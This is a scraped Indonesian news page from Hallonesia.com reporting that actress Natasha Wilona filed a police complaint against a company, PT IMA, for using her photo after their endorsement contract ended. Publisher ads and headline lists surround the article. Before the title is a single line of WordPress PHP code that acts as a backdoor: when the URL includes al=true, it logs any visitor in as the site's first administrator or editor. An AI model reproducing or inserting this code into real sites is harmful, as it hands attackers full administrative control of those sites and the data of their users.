// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Artis Natasha Wilona Lapor Polda Metro Jaya Terkait Kasus Dugaan Pelanggaran Hak Cipta Promosi Produk - Hallonesia.com

Artis Natasha Wilona Lapor Polda Metro Jaya Terkait Kasus Dugaan Pelanggaran Hak Cipta Promosi Produk

Avatar photo

- Pewarta

Senin, 23 Desember 2024 - 14:44 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Artis Natasha Wilona. (Instagram.com @natashawilona12)

Artis Natasha Wilona. (Instagram.com @natashawilona12)

HALLONESIA.COM – Artis Natasha Wilona membuat laporan polisi ke Polda Metro Jaya terkait kasus dugaan pelanggaran hak cipta yang dialami dirinya.

Laporan tersebut diterima fengan nomor laporan yang teregister LP/B/7786/XII/2024/SPKT/POLDA METRO JAYA, Kamis (19/12/2024)

Laporan tersebut dibenarkan oleh Kabid Humas Polda Metro Jaya, Kombes Pol Ade Ary Syam Indradi

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Mantan Kapolres Metro Jakarta Selatan itu mengatakan, laporan perkara yang dilaporkan Natasha itu bermula ketika sang artis mempunyai kontrak dengan produk kecantikan.

“Berdasarkan surat kontrak perjanjian kerjasama dengan PT IMA telah berakhir pada Bulan Oktober 2020,” ujar Ade Ary Syam Indradi dalam keterangannya, Jumat (20/12/2024).

Kendati Begitu, lanjut Ade Ary, hingga saat ini gambar yang memuat foto dari Natasha Wilona masih dipakai dalam produk kecantikan tersebut.

Atas dasar hal itu, Natasha kemudian memberikan somasi sebanyak dua kali ke perusahaan PT IMA. Namun, dia tidak menerima tanggapan atas somasi itu.

“Atas kejadian tersebut Pelapor merasa dirugikan, selanjutnya pelapor datang ke SPKT Polda Metro Jaya,” ucap Ade Ary.

Adapun Pasal yang disertakan dalam laporan tersebut yakni tentang Kejahatan Hak Atas Kekayaan Intelektual (Haki) UU Nomor 28 Tahun 2014.

Tentang Hak Cipta sebagaimana dimaksud dalam Pasal 115 Juncto Pasal 12 Undang-Undang Nomor 28 Tahun 2014 tentang Hak Cipta dan atau Pasal 48 juncto Pasal 32 Undang-Undaang Nomor 1 Tahun 2024 perubahan kedua atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik dan atau Pasal 378 KUHP dan atau Pasal 3, Pasal 4 dan atau Pasal 5 Undang-Undang Nomor 8 Tahun 2010 tentang TPPU.***

Sempatkan untuk membaca berbagai berita dan informasi seputar ekonomi dan bisnis lainnya di media Infoekbis.com dan Harianinvestor.com

Jangan lewatkan juga menyimak berita dan informasi terkini mengenai politik, hukum, dan nasional melalui media 062.live dan Apakabarjateng.com

Sedangkan untuk publikasi press release serentak di puluhan media lainnya, klik Rilisbisnis.com (khusus media ekbis) dan Jasasiaranpers.com (media nasional)

Atau hubungi langsung WhatsApp Center Rilispers.com (Pusat Siaran Pers Indonesia /PSPI): 08531555778808781555778808111157788.

Klik Persrilis.com untuk menerbitkan press release di portal berita ini, atau pun secara serentak di puluhan, ratusan, bahkan 1.000+ jaringan media online.

Pastikan juga download aplikasi Hallo.id di di Playstore (Android) dan Appstore (iphone), untuk mendapatkan aneka artikel yang menarik. Media Hallo.id dapat diakses melalui Google News. Terima kasih.

Berita Terkait

Pasha Ungu Turut Berduka Atas Driver Ojol Yang Tewas Dilindas Rantis
Bareskrim Gelar Tes DNA untuk Ridwan Kamil dan Lisa, Fakta Terkuak
Sidang Ricuh, Nikita Mirzani Tuding Ada Mafia Hukum di Kasus Skincare Rp4 Miliar
Drama Kehamilan DJ Panda, Bravy Ungkap Dua Korban Misterius Lainnya
Ancaman DJ Panda Ke Erika Carlina Bocor, Publik Heboh!
Dari Pesinetron Jadi Terdakwa! Kasus Vape Bius Jonathan Frizzy Naik
Skandal WhatsApp! Data Penyakit Dara Arafah Disebar Vendor Allianz, Heboh
Giring, Yovie, Ari, Ifan: Artis Merajai Jabatan Pengurus BUMN!
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Selasa, 23 Juni 2026 - 14:31 WIB

Dalian Menjadi Sorotan Global, Kota Ini Menjadi Tuan Rumah Summer Davos untuk Kesembilan Kalinya

Selasa, 23 Juni 2026 - 09:56 WIB

ChinaMarket: Ujian Sesungguhnya Dimulai Saat Kontainer Tiba di Lokasi Proyek

Selasa, 23 Juni 2026 - 08:58 WIB

Zendure Luncurkan Ekosistem Energi AI ZEN+ HOME di Ajang Intersolar 2026

Selasa, 23 Juni 2026 - 06:12 WIB

Gravity Game Unite (GGU) Luncurkan OBT Kedua PC MMORPG “Ragnarok Zero: Global”

Selasa, 23 Juni 2026 - 02:10 WIB

Hisense Tampilkan Pesan “Innovating a Brighter Life” di FIFA World Cup 2026™

Selasa, 23 Juni 2026 - 02:00 WIB

Cision Luncurkan AI Coverage Analysis di CisionOne Untuk Membantu Tim Humas Mewujudkan Analisis Liputan Menjadi Tindakan

Selasa, 23 Juni 2026 - 00:23 WIB

Mouser Raih Gelar “APAC e-Catalogue Distributor of the Year” dari Molex Selama Delapan Tahun Berturut-turut

Selasa, 23 Juni 2026 - 00:14 WIB

Geely Farizon, WeRide, dan Kwoon Chung Luncurkan Robotaxi Setir Kanan di Hong Kong, Percepat Ekspansi Global

Berita Terbaru